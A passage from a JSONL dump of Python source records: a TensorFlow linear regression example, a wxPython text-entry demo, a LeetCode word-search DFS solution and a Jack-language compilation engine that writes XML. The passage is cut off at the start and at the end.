{} {} {}'.format(step, sess.run(cost), sess.run(W), sess.run(b)))\n \n # learns best fit is W: [1] b: [0]\n\n\ndef linear_regression_with_placeholder():\n x_data = [1., 2., 3., 4.]\n y_data = [2., 4., 6., 8.]\n \n # range is -100 ~ 100\n W = tf.Variable(tf.random_uniform([1], -100., 100.))\n b = tf.Variable(tf.random_uniform([1], -100., 100.))\n \n X = tf.placeholder(tf.float32)\n Y = tf.placeholder(tf.float32)\n \n hypothesis = W * X + b\n \n cost = tf.reduce_mean(tf.square(hypothesis - Y))\n \n rate = tf.Variable(0.1)\n optimizer = tf.train.GradientDescentOptimizer(rate)\n train = optimizer.minimize(cost)\n \n init = tf.initialize_all_variables()\n \n sess = tf.Session()\n sess.run(init)\n \n for step in range(2001):\n sess.run(train, feed_dict={X: x_data, Y: y_data})\n if step % 20 == 0:\n print(step, sess.run(cost, feed_dict={X: x_data, Y: y_data}), sess.run(W), sess.run(b))\n \n print(sess.run(hypothesis, feed_dict={X: 5})) # [ 10.]\n print(sess.run(hypothesis, feed_dict={X: 2.5})) # [5.]\n print(sess.run(hypothesis, feed_dict={X: [2.5, 5]})) # [ 5. 10.], 원하는 X의 값만큼 전달.\n\n\nlinear_regression1()\nlinear_regression_with_placeholder()\n","sub_path":"linear_regression1.py","file_name":"linear_regression1.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"460705652","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n#-----------------------------------------------------------------------------\n# Purpose: To demo how to use multi line text entry.\n#-----------------------------------------------------------------------------\n\nimport wx\n\nclass TextEntryFrame(wx.Frame):\n\n def __init__(self):\n super(self.__class__, self).__init__(parent=None, id=-1, title='Text Entry')\n panel = wx.Panel(parent=self, id=-1)\n\n multiLabel = wx.StaticText(parent=panel, id=-1, label='Multi-Line')\n multiText = wx.TextCtrl(parent=panel, id=-1,\n value=\"This is the default value of the multiline text entry.\\n\\n\"\n \"So, here I will put a poem:\\n\"\n \"Hold fast to dreams, for if dreams die,\"\n \"Life is a broken-wing bird, that cannot fly.\"\n \"Hold fast to dreams, for if dreams go,\"\n \"Life is a barren-field, fronzon with snow.\",\n size=(200, 100),\n style=wx.TE_MULTILINE)\n multiText.SetInsertionPoint(0)\n\n richLabel = wx.StaticText(parent=panel, id=-1, label='Rich Text')\n richText = wx.TextCtrl(parent=panel, id=-1,\n value=\"If supported by the native control, \"\n \"this is reversed, and this is a different font.\\n\\n\"\n \"Good good study,\\n\"\n \"Day day up.\",\n size=(200, 100),\n style=wx.TE_MULTILINE|wx.TE_RICH)\n # style=wx.TE_MULTILINE|wx.TE_RICH2)\n richText.SetInsertionPoint(0)\n richText.SetStyle(start=44, end=52, style=wx.TextAttr(colText='white', colBack='black'))\n points = richText.GetFont().GetPointSize()\n f = wx.Font(pointSize=points+3, family=wx.ROMAN, style=wx.ITALIC, weight=wx.BOLD, underline=True)\n richText.SetStyle(start=68, end=82, style=wx.TextAttr(colText='blue', colBack=wx.NullColour, font=f))\n\n gridSizer = wx.FlexGridSizer(rows=2, cols=2, hgap=6, vgap=6)\n gridSizer.AddMany([multiLabel, multiText, richLabel, richText])\n\n mainSizer = wx.BoxSizer(wx.VERTICAL)\n mainSizer.Add(item=gridSizer, proportion=1, flag=wx.ALIGN_CENTER|wx.ALL, border=50)\n\n panel.SetSizer(mainSizer)\n mainSizer.SetSizeHints(self)\n # self.Center(wx.BOTH)\n self.CenterOnScreen()\n\nclass TextEntryApp(wx.App):\n\n def OnInit(self):\n self.frame = TextEntryFrame()\n self.frame.Show()\n self.SetTopWindow(self.frame)\n return True\n\nif __name__ == '__main__':\n\n app = TextEntryApp()\n app.MainLoop()\n\n\n\n\n\n\n","sub_path":"use_multi_lint_text_entry_32.py","file_name":"use_multi_lint_text_entry_32.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"66449646","text":"# coding:utf-8\n'''\n矩阵中的路径\nleetcode(12)\n\ndfs+减枝\n'''\n\n\nclass Solution:\n def exist(self, board, word):\n # 使用深度优先搜索\n if not board: # 边界条件\n return False\n for i in range(len(board)):\n for j in range(len(board[0])):\n if self.dfs(board, i, j, word):\n return True\n return False\n\n def dfs(self, board, i, j, word):\n if len(word) == 0: # 如果单词已经检查完毕\n return True\n if i < 0 or i >= len(board) or j < 0 or j >= len(board[0]) or word[0] != board[i][\n j]: # 如果路径出界或者矩阵中的值不是word的首字母,返回False\n return False\n tmp = board[i][j] # 如果找到了第一个字母,检查剩余的部分\n board[i][j] = '0'\n res = self.dfs(board, i + 1, j, word[1:]) or self.dfs(board, i - 1, j, word[1:]) or self.dfs(board, i, j + 1,\n word[\n 1:]) or self.dfs(\n board, i, j - 1, word[1:]) # 上下左右四个方向搜索\n\n board[i][j] = tmp\n return res\n","sub_path":"offer/51.py","file_name":"51.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"252203107","text":"# ============== Imports ==============\n\nfrom TokenTypes import Type as TTT\nfrom TokenTypes import Keyword as TTK\nfrom TokenTypes import Symbol as TTS\nfrom TokenTypes import keyword_dict as key_dict\nfrom TokenTypes import symbols_dict as sym_dict\n\n# ============= Constants ==============\n\nVAR_DECLARE_NOT_FOUND_EXCEPTION = \"Expected var declare but got \"\nSUBROUTINE_NOT_FOUND_EXCEPTION = \"Expected subroutine type but got \"\nFUNC_DECLARE_NOT_FOUND_EXCEPTION = \"Expected function declaration but got \"\nCLASS_TOKEN_NOT_FOUND_EXCEPTION = \"Expected class token which was not found\"\nIDENTIFIER_NOT_FOUND_EXCEPTION = \"Expected identifier after class\"\nUNEXPECTED_TOKEN_EXCEPTION = \"Unexpected token \"\nTOKENIZER_EMPTY_EXCEPTION = \"Attempt to get tokens but tokenizer has no more tokens!\"\nNEWLINE = \"\\n\"\nEXPRESSION_LIST_XML_SUFFIX = \"\"\nEXPRESSION_LIST_XML_PREFIX = \"\"\nTERM_XML_SUFFIX = \"\"\nTERM_XML_PREFIX = \"\"\nTERM_NOT_FOUND_EXCEPTION = \"Expected term but didn't get any\"\nEXPRESSION_XML_SUFFIX = \"\"\nEXPRESSION_XML_PREFIX = \"\"\nIF_STATEMENT_XML_SUFFIX = \"\"\nIF_STATEMENT_PREFIX = \"\"\nRETURN_XML_SUFFIX = \"\"\nRETURN_STATEMENT_XML_PREFIX = \"\"\nWHILE_STATEMENT_XML_SUFFIX = \"\"\nWHILE_STATEMENT_XML_PREFIX = \"\"\nLET_STATEMENT_XML_SUFFIX = \"\"\nLET_STATEMENT_XML_PREFIX = \"\"\nDO_STATEMENT_XML_SUFFIX = \"\"\nDO_STATEMENT_XML_PREFIX = \"\"\nSTATEMENTS_XML_SUFFIX = \"\"\nSTATEMENTS_XML_PREFIX = \"\"\nVAR_DEC_XML_SUFFIX = \"\"\nVAR_DEC_XML_PREFIX = \"\"\nPARAMETER_LIST_XML_SUFFIX = \"\"\nPARAMETER_LIST_XML_PREFIX = \"\"\nSUBROUTINE_DEC_XML_SUFFIX = \"\"\nSUBROUTINE_BODY_XML_SUFFIX = \"\"\nSUBROUTINE_BODY_XML_PREFIX = \"\"\nSUBROUTINE_DEC_XML_PREFIX = \"\"\nCLASS_VAR_DEC_XML_SUFFIX = \"\"\nCLASS_VAR_DEC_XML_PREFIX = \"\"\nCLASS_XML_SUFFIX = \"\"\nCLASS_XML_PREFIX = \"\"\n\n\n# ======= Class Implementation =======\n\nclass CompilationEngine:\n\t\"\"\"\n\tEffects the actual compilation output. Gets its input from a\n\tJackTokenizer and emits its parsed structure into an output file/stream.\n\t\"\"\"\n\n\t\"\"\" Sets which help determine token types in O(1) \"\"\"\n\tclass_var_decs = {TTK.STATIC, TTK.FIELD}\n\tsubroutines = {TTK.METHOD, TTK.FUNCTION, TTK.CONSTRUCTOR}\n\tsubroutine_types = {TTK.INT, TTK.BOOLEAN, TTK.CHAR, TTK.VOID}\n\tvar_value_types = {TTK.INT, TTK.BOOLEAN, TTK.CHAR}\n\tvar_types = {TTT.KEYWORD, TTT.IDENTIFIER}\n\tstatements = {TTK.LET, TTK.IF, TTK.WHILE, TTK.DO, TTK.RETURN}\n\tconstants = {TTT.INT_CONST, TTT.STRING_CONST}\n\tkey_constants = {TTK.TRUE, TTK.FALSE, TTK.NULL, TTK.THIS}\n\tunary_ops = {TTS.MINUS, TTS.TILDE}\n\tops = {TTS.PLUS, TTS.MINUS, TTS.STAR, TTS.FORWARD_SLASH, TTS.AMPERSAND, TTS.PIKE,\n\t\t TTS.GREATER_THAN, TTS.LESS_THAN, TTS.EQUALS}\n\n\t# ================ Constructor ==================\n\n\tdef __init__(self, tokenizer, output_file):\n\t\t\"\"\" Creates a new compilation engine with the given input and output.\n\t\t\tThe next routine called must be compileClass() \"\"\"\n\t\tself.tokenizer = tokenizer\n\t\tself.output_file = output_file\n\n\t# ============== Main API Methods ===============\n\n\tdef compile_class(self):\n\t\t\"\"\" Compiles a complete class \"\"\"\n\t\t# write \n\t\tself.file_writeln(CLASS_XML_PREFIX)\n\t\t# write class \n\t\tself.file_writeln(self.get_class_XML())\n\t\t# write name \n\t\tself.file_writeln(self.get_identifier_XML())\n\t\t# write { \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.LEFT_BRACE))\n\t\t# this call should compile the inner structure of the class\n\t\tself.compile_class_body()\n\t\t\"\"\" Note: current token is now a token which is not a classVarDec or subroutineDec\n\t\t\tso when we return to compile_class we will check if it's a right brace\n\t\t\tso if it's not - we will catch this there and raise an exception like a boss\"\"\"\n\t\t# write } \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_BRACE))\n\t\t# write \n\t\tself.file_writeln(CLASS_XML_SUFFIX)\n\n\tdef compile_class_body(self):\n\t\t\"\"\"\n\t\tHelper method which compiles the entire class' body using the tokenizer.\n\t\t:return: a tasty burekas\n\t\t\"\"\"\n\t\twhile self.next_token_is_class_var_dec():\n\t\t\tself.compile_class_var_dec() # this method advances the tokenizer\n\t\twhile self.next_token_is_subroutine():\n\t\t\tself.compile_subroutine() # this method advances the tokenizer\n\n\tdef compile_class_var_dec(self):\n\t\t\"\"\" Compiles a static declaration or a field declaration\n\t\t\tnote: assumes current token is indeed a classVarDec since calling\n\t\t\tmethod already checked that\"\"\"\n\t\t# write \n\t\tself.file_writeln(CLASS_VAR_DEC_XML_PREFIX)\n\t\t# write field/static \n\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t# write type \n\t\tself.file_writeln(self.get_type_XML())\n\t\t# write name \n\t\tself.file_writeln(self.get_identifier_XML())\n\t\t# in case there are more variables declared in the same line\n\t\twhile self.next_token_is_specific_symbol(TTS.COMMA):\n\t\t\t# write , \n\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.COMMA))\n\t\t\t# write name \n\t\t\tself.file_writeln(self.get_identifier_XML())\n\t\t# write ; \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.SEMICOLON))\n\t\t# write \n\t\tself.file_writeln(CLASS_VAR_DEC_XML_SUFFIX)\n\n\tdef compile_subroutine(self):\n\t\t\"\"\" Compiles a complete method, function, or constructor \"\"\"\n\t\t# write \n\t\tself.file_writeln(SUBROUTINE_DEC_XML_PREFIX)\n\t\t# write (constructor|function|method) \n\t\tself.file_writeln(self.get_function_declar_XML())\n\t\t# write (void | type | identifier) \n\t\tself.file_writeln(self.get_subroutine_type_XML())\n\t\t# write name \n\t\tself.file_writeln(self.get_identifier_XML())\n\t\t# write ( \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.LEFT_PAR))\n\t\t# compile the parameter list\n\t\tself.compile_parameter_list()\n\t\t# write ) \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_PAR))\n\t\t# write \n\t\tself.file_writeln(SUBROUTINE_BODY_XML_PREFIX)\n\t\t# write { \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.LEFT_BRACE))\n\t\t# compile all variable declarations, if there are any\n\t\twhile self.next_token_is_var():\n\t\t\tself.compile_var_dec()\n\t\t# compile the subroutine's statements\n\t\tself.compile_statements()\n\t\t# write } \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_BRACE))\n\t\t# write \n\t\tself.file_writeln(SUBROUTINE_BODY_XML_SUFFIX)\n\t\t# write \n\t\tself.file_writeln(SUBROUTINE_DEC_XML_SUFFIX)\n\n\tdef compile_parameter_list(self):\n\t\t\"\"\" Compiles a (possibly empty) parameter list,\n\t\tnot including the enclosing \"()\" \"\"\"\n\t\t# this will help handle multiple parameters if there are\n\t\tmultiple_params = False\n\t\t# write \n\t\tself.file_writeln(PARAMETER_LIST_XML_PREFIX)\n\t\twhile not self.next_token_is_specific_symbol(TTS.RIGHT_PAR):\n\t\t\tif multiple_params: # add the comma before the variable\n\t\t\t\t# write ,\n\t\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.COMMA))\n\t\t\t# write type\n\t\t\tself.file_writeln(self.get_type_XML())\n\t\t\t# write name\n\t\t\tself.file_writeln(self.get_identifier_XML())\n\t\t\tmultiple_params = True\n\t\t# write\n\t\tself.file_writeln(PARAMETER_LIST_XML_SUFFIX)\n\n\tdef compile_var_dec(self):\n\t\t\"\"\" Compiles all var declaration \"\"\"\n\t\t# write \n\t\tself.file_writeln(VAR_DEC_XML_PREFIX)\n\t\t# write var \n\t\tself.file_writeln(self.get_var_XML())\n\t\t# write type \n\t\tself.file_writeln(self.get_type_XML())\n\t\t# write name \n\t\tself.file_writeln(self.get_identifier_XML())\n\t\t# add any \", var\" if there are\n\t\twhile self.next_token_is_specific_symbol(TTS.COMMA):\n\t\t\t# write , \n\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.COMMA))\n\t\t\t# write name \n\t\t\tself.file_writeln(self.get_identifier_XML())\n\t\t# write ; \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.SEMICOLON))\n\t\t# write \n\t\tself.file_writeln(VAR_DEC_XML_SUFFIX)\n\n\tdef compile_statements(self):\n\t\t\"\"\" Compiles a sequence of statements,\n\t\tnot including the enclosing \"{}\"\n\t\tassumes token is indeed a valid statement since caller method verified that\"\"\"\n\t\t# write \n\t\tself.file_writeln(STATEMENTS_XML_PREFIX)\n\t\t# handle all statements, if there are any\n\t\twhile self.next_token_is_statement():\n\t\t\t# figure out the correct statement and compile it\n\t\t\ttype = self.get_statement_type()\n\t\t\tif type == TTK.LET:\n\t\t\t\tself.compile_let()\n\t\t\telif type == TTK.IF:\n\t\t\t\tself.compile_if()\n\t\t\telif type == TTK.WHILE:\n\t\t\t\tself.compile_while()\n\t\t\telif type == TTK.DO:\n\t\t\t\tself.compile_do()\n\t\t\telse: # the last statement is RETURN\n\t\t\t\tself.compile_return()\n\t\tself.file_writeln(STATEMENTS_XML_SUFFIX)\n\n\tdef compile_do(self):\n\t\t\"\"\" Compiles a do statement \"\"\"\n\t\t# write \n\t\tself.file_writeln(DO_STATEMENT_XML_PREFIX)\n\t\t# write do \n\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t# write name \n\t\tself.file_writeln(self.get_identifier_XML())\n\t\t# handle subroutine call from other class\n\t\tif self.next_token_is_specific_symbol(TTS.DOT):\n\t\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t\tself.file_writeln(self.get_identifier_XML())\n\t\t# write ( \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.LEFT_PAR))\n\t\t# compile the expression list in the call\n\t\tself.compile_expression_list()\n\t\t# write ) \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_PAR))\n\t\t# write ; \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.SEMICOLON))\n\t\t# write \n\t\tself.file_writeln(DO_STATEMENT_XML_SUFFIX)\n\n\tdef compile_let(self):\n\t\t\"\"\" Compiles a let statement \"\"\"\n\t\t# write \n\t\tself.file_writeln(LET_STATEMENT_XML_PREFIX)\n\t\t# write let \n\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t# write name \n\t\tself.file_writeln(self.get_identifier_XML())\n\t\t# the ('[' expression ']')? part\n\t\tif self.next_token_is_specific_symbol(TTS.LEFT_BRACKET):\n\t\t\t# write [ \n\t\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t\t# compile the expression inside the brackets\n\t\t\tself.compile_expression()\n\t\t\t# write ] \n\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_BRACKET))\n\t\t# write = \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.EQUALS))\n\t\t# compile the expression\n\t\tself.compile_expression()\n\t\t# write ; \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.SEMICOLON))\n\t\t# write \n\t\tself.file_writeln(LET_STATEMENT_XML_SUFFIX)\n\n\tdef compile_while(self):\n\t\t\"\"\" Compiles a while statement \"\"\"\n\t\t# write \n\t\tself.file_writeln(WHILE_STATEMENT_XML_PREFIX)\n\t\t# write while \n\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t# write ( \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.LEFT_PAR))\n\t\t# compile the expression in the while\n\t\tself.compile_expression()\n\t\t# write ) \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_PAR))\n\t\t# write { \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.LEFT_BRACE))\n\t\t# compile the loop's statements\n\t\tself.compile_statements()\n\t\t# write } \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_BRACE))\n\t\t# write \n\t\tself.file_writeln(WHILE_STATEMENT_XML_SUFFIX)\n\n\tdef compile_return(self):\n\t\t\"\"\" Compiles a return statement \"\"\"\n\t\t# write \n\t\tself.file_writeln(RETURN_STATEMENT_XML_PREFIX)\n\t\t# write return \n\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\tif not self.next_token_is_specific_symbol(TTS.SEMICOLON):\n\t\t\t# handle the expression\n\t\t\tself.compile_expression()\n\t\t# write ; \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.SEMICOLON))\n\t\t# write \n\t\tself.file_writeln(RETURN_XML_SUFFIX)\n\n\tdef compile_if(self):\n\t\t\"\"\" Compiles an if statement, possibly with a trailing else clause \"\"\"\n\t\t# write \n\t\tself.file_writeln(IF_STATEMENT_PREFIX)\n\t\t# write if \n\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t# write ( \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.LEFT_PAR))\n\t\t# compile an expression for the if\n\t\tself.compile_expression()\n\t\t# write ) \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_PAR))\n\t\t# write { \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.LEFT_BRACE))\n\t\t# compile the if's statements\n\t\tself.compile_statements()\n\t\t# write } \n\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_BRACE))\n\t\t# the ('else' '{' statements '}')? part\n\t\tif self.next_token_is_else():\n\t\t\t# write else \n\t\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t\t# write { \n\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.LEFT_BRACE))\n\t\t\t# compile else's statements\n\t\t\tself.compile_statements()\n\t\t\t# write } \n\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_BRACE))\n\t\t# write \n\t\tself.file_writeln(IF_STATEMENT_XML_SUFFIX)\n\n\tdef compile_expression(self):\n\t\t\"\"\" Compiles an expression \"\"\"\n\t\t# write \n\t\tself.file_writeln(EXPRESSION_XML_PREFIX)\n\t\t# compile the term\n\t\tself.compile_term()\n\t\t# the (op term)* part\n\t\twhile self.next_token_is_op():\n\t\t\t# write op \n\t\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t\t# compile a term\n\t\t\tself.compile_term()\n\t\t# write \n\t\tself.file_writeln(EXPRESSION_XML_SUFFIX)\n\n\tdef compile_term(self):\n\t\t\"\"\" Compiles a term \"\"\"\n\t\tif not self.next_token_is_term():\n\t\t\traise Exception(TERM_NOT_FOUND_EXCEPTION)\n\t\t# write \n\t\tself.file_writeln(TERM_XML_PREFIX)\n\t\t# next lines figure out the correct term type and compile accordingly\n\t\tif self.next_token_is_constant():\n\t\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\telif self.next_token_is_identifier():\n\t\t\tself.file_writeln(self.get_identifier_XML())\n\t\t\t# handle array\n\t\t\tif self.next_token_is_specific_symbol(TTS.LEFT_BRACKET):\n\t\t\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t\t\tself.compile_expression()\n\t\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_BRACKET))\n\t\t\t# handle subroutine call from same class\n\t\t\telif self.next_token_is_specific_symbol(TTS.LEFT_PAR):\n\t\t\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t\t\tself.compile_expression_list()\n\t\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_PAR))\n\t\t\t# handle subroutine call from other class\n\t\t\telif self.next_token_is_specific_symbol(TTS.DOT):\n\t\t\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t\t\tself.file_writeln(self.get_identifier_XML())\n\t\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.LEFT_PAR))\n\t\t\t\tself.compile_expression_list()\n\t\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_PAR))\n\t\t# handle ( expression )\n\t\telif self.next_token_is_specific_symbol(TTS.LEFT_PAR):\n\t\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t\tself.compile_expression()\n\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.RIGHT_PAR))\n\t\telif self.next_token_is_unary_op():\n\t\t\tself.file_writeln(self.get_and_advance_tokenizer().get_xml_form())\n\t\t\tself.compile_term()\n\t\t# write \n\t\tself.file_writeln(TERM_XML_SUFFIX)\n\n\tdef compile_expression_list(self):\n\t\t\"\"\" Compiles a (possibly empty) comma-separated list of expressions \"\"\"\n\t\t# write \n\t\tself.file_writeln(EXPRESSION_LIST_XML_PREFIX)\n\t\t# this variable will help handle multiple expressions separated by a comma\n\t\tmultiple_expression = False\n\t\tget_another_expression = self.next_token_is_term()\n\t\twhile get_another_expression:\n\t\t\tif multiple_expression:\n\t\t\t\tself.file_writeln(self.get_specific_symbol_XML(TTS.COMMA))\n\t\t\tself.compile_expression()\n\t\t\tmultiple_expression = True\n\t\t\tget_another_expression = self.next_token_is_specific_symbol(TTS.COMMA)\n\t\t# write \n\t\tself.file_writeln(EXPRESSION_LIST_XML_SUFFIX)\n\n\t# ============== Helper methods ================\n\n\t\"\"\" Following methods check various things about the next token we will receive, such as what \n\t\tis it's type or if it is some special symbol, etc. \"\"\"\n\n\tdef next_token_is_specific_symbol(self, symbol):\n\t\ttoken = self.peek_tokenizer()\n\t\ttype = token.get_type()\n\t\tif type != TTT.SYMBOL:\n\t\t\treturn False\n\t\tvalue = sym_dict[token.get_value()]\n\t\treturn value == symbol\n\n\tdef next_token_is_statement(self):\n\t\ttoken = self.peek_tokenizer()\n\t\ttype = token.get_type()\n\t\tvalue = token.get_value()\n\t\treturn type == TTT.KEYWORD and key_dict[value] in CompilationEngine.statements\n\n\tdef next_token_is_else(self):\n\t\ttoken = self.peek_tokenizer()\n\t\treturn token.get_type() == TTT.KEYWORD and key_dict[token.get_value()] == TTK.ELSE\n\n\tdef next_token_is_op(self):\n\t\ttoken = self.peek_tokenizer()\n\t\treturn token.get_type() == TTT.SYMBOL and sym_dict[\n\t\t\ttoken.get_value()] in CompilationEngine.ops\n\n\tdef next_token_is_constant(self):\n\t\ttoken = self.peek_tokenizer()\n\t\ttype = token.get_type()\n\t\tvalue = token.get_value()\n\t\tconstant = type in CompilationEngine.constants\n\t\tkeyConstant = type == TTT.KEYWORD and key_dict[value] in CompilationEngine.key_constants\n\t\treturn constant or keyConstant\n\n\tdef next_token_is_identifier(self):\n\t\treturn self.peek_tokenizer().get_type() == TTT.IDENTIFIER\n\n\tdef next_token_is_unary_op(self):\n\t\ttoken = self.peek_tokenizer()\n\t\treturn token.get_type() == TTT.SYMBOL and sym_dict[\n\t\t\ttoken.get_value()] in CompilationEngine.unary_ops\n\n\tdef next_token_is_term(self):\n\t\ttoken = self.peek_tokenizer()\n\t\ttype = token.get_type()\n\t\tvalue = token.get_value()\n\t\tconstant = type in CompilationEngine.constants\n\t\tkeyConstant = type == TTT.KEYWORD and key_dict[value] in CompilationEngine.key_constants\n\t\t# covers: var, var array, subroutine\n\t\tidentifier = type == TTT.IDENTIFIER\n\t\tleft_par = type == TTT.SYMBOL and sym_dict[value] == TTS.LEFT_PAR\n\t\tunary_op = type == TTT.SYMBOL and sym_dict[value] in CompilationEngine.unary_ops\n\t\treturn constant | keyConstant | identifier | left_par | unary_op\n\n\tdef next_token_is_class_var_dec(self):\n\t\ttoken = self.peek_tokenizer()\n\t\treturn token.get_type() == TTT.KEYWORD and key_dict[\n\t\t\ttoken.get_value()] in CompilationEngine.class_var_decs\n\n\tdef next_token_is_subroutine(self):\n\t\ttoken = self.peek_tokenizer()\n\t\treturn token.get_type() == TTT.KEYWORD and key_dict[\n\t\t\ttoken.get_value()] in CompilationEngine.subroutines\n\n\tdef next_token_is_var(self):\n\t\ttoken = self.peek_tokenizer()\n\t\treturn token.get_type() == TTT.KEYWORD and key_dict[token.get_value()] == TTK.VAR\n\n\tdef get_statement_type(self):\n\t\ttoken = self.peek_tokenizer()\n\t\treturn key_dict[token.get_value()]\n\n\tdef file_write(self, str):\n\t\t\"\"\"\n\t\tMethod which receives a string and writes it as is in the output file.\n\t\t:param str: The string we are writing to the file\n\t\t\"\"\"\n\t\tself.output_file.write(str)\n\n\tdef file_writeln(self, str):\n\t\t\"\"\"\n\t\tMethod which receives a string and writes it as is in the output file, follow by a new\n\t\tline character,\tif there is none.\n\t\t:param str: The string we are writing to the file\n\t\t\"\"\"\n\t\tif (not str.endswith(NEWLINE)):\n\t\t\tstr = str + NEWLINE\n\t\tself.file_write(str)\n\n\tdef get_and_advance_tokenizer(self):\n\t\t\"\"\"\n\t\tMethod which returns the current token stored in the tokenizer and causes the tokenizer\n\t\tto advance.\n\t\t:return: Token object which was stored in the tokenizer\n\t\t\"\"\"\n\t\ttoken = self.peek_tokenizer()\n\t\tself.tokenizer.advance()\n\t\treturn token\n\n\tdef peek_tokenizer(self):\n\t\t\"\"\"\n\t\tMethod which returns the current token stored in the tokenizer WITHOUT causing it to\n\t\tadvance.\n\t\t:return: Token object which is currently stored in the tokenizer\n\t\t\"\"\"\n\t\tif not self.tokenizer.has_more_tokens():\n\t\t\traise Exception(TOKENIZER_EMPTY_EXCEPTION)\n\t\ttoken = self.tokenizer.get_current_token()\n\t\treturn token\n\n\t# ================== Compilation Related Methods ==================\n\n\t\"\"\" Following methods get the compiled version of each token type, they also cause the \n\t\ttokenizer to advance, so they basically get a token from the tokenizer, advance and then \n\t\treturn the compiled version (the XML form currently) of the token they got. \n\t\tCurrently these methods get the XML version from each file, so if we would want to\n\t\twrite output files in some other language or format, we would only need to change the\n\t\tway the Token objects give us the translation, or adjust minor things in these methods, \n\t\tthus keeping our class future-proof. \"\"\"\n\n\tdef get_type_XML(self):\n\t\ttoken = self.get_and_advance_tokenizer()\n\t\ttype = token.get_type()\n\t\tvalue = token.get_value()\n\t\tprimitive = type == TTT.KEYWORD and key_dict[value] in CompilationEngine.var_value_types\n\t\tobj_type = type == TTT.IDENTIFIER\n\t\tif not primitive and not obj_type:\n\t\t\traise Exception(UNEXPECTED_TOKEN_EXCEPTION + value)\n\t\treturn token.get_xml_form()\n\n\tdef get_specific_symbol_XML(self, symbol):\n\t\ttoken = self.get_and_advance_tokenizer()\n\t\ttype = token.get_type()\n\t\tif type != TTT.SYMBOL or sym_dict[token.get_value()] != symbol:\n\t\t\traise Exception(UNEXPECTED_TOKEN_EXCEPTION + token.get_value())\n\t\treturn token.get_xml_form()\n\n\tdef get_symbol_XML(self):\n\t\ttoken = self.get_and_advance_tokenizer()\n\t\ttype = token.get_type()\n\t\tif type != TTT.SYMBOL:\n\t\t\traise Exception(UNEXPECTED_TOKEN_EXCEPTION + token.get_value())\n\t\treturn token.get_xml_form()\n\n\tdef get_identifier_XML(self):\n\t\ttoken = self.get_and_advance_tokenizer()\n\t\ttype = token.get_type()\n\t\tif type != TTT.IDENTIFIER:\n\t\t\traise Exception(IDENTIFIER_NOT_FOUND_EXCEPTION)\n\t\treturn token.get_xml_form()\n\n\tdef get_class_XML(self):\n\t\ttoken = self.get_and_advance_tokenizer()\n\t\ttype = token.get_type()\n\t\tvalue = token.get_value()\n\t\tif type != TTT.KEYWORD and (value not in key_dict or key_dict[value] != TTK.CLASS):\n\t\t\traise Exception(CLASS_TOKEN_NOT_FOUND_EXCEPTION)\n\t\treturn token.get_xml_form()\n\n\tdef get_function_declar_XML(self):\n\t\ttoken = self.get_and_advance_tokenizer()\n\t\tif token.get_type() != TTT.KEYWORD or key_dict[token.get_value()] not in \\\n\t\t\t\tCompilationEngine.subroutines:\n\t\t\traise Exception(FUNC_DECLARE_NOT_FOUND_EXCEPTION + token.get_value())\n\t\treturn token.get_xml_form()\n\n\tdef 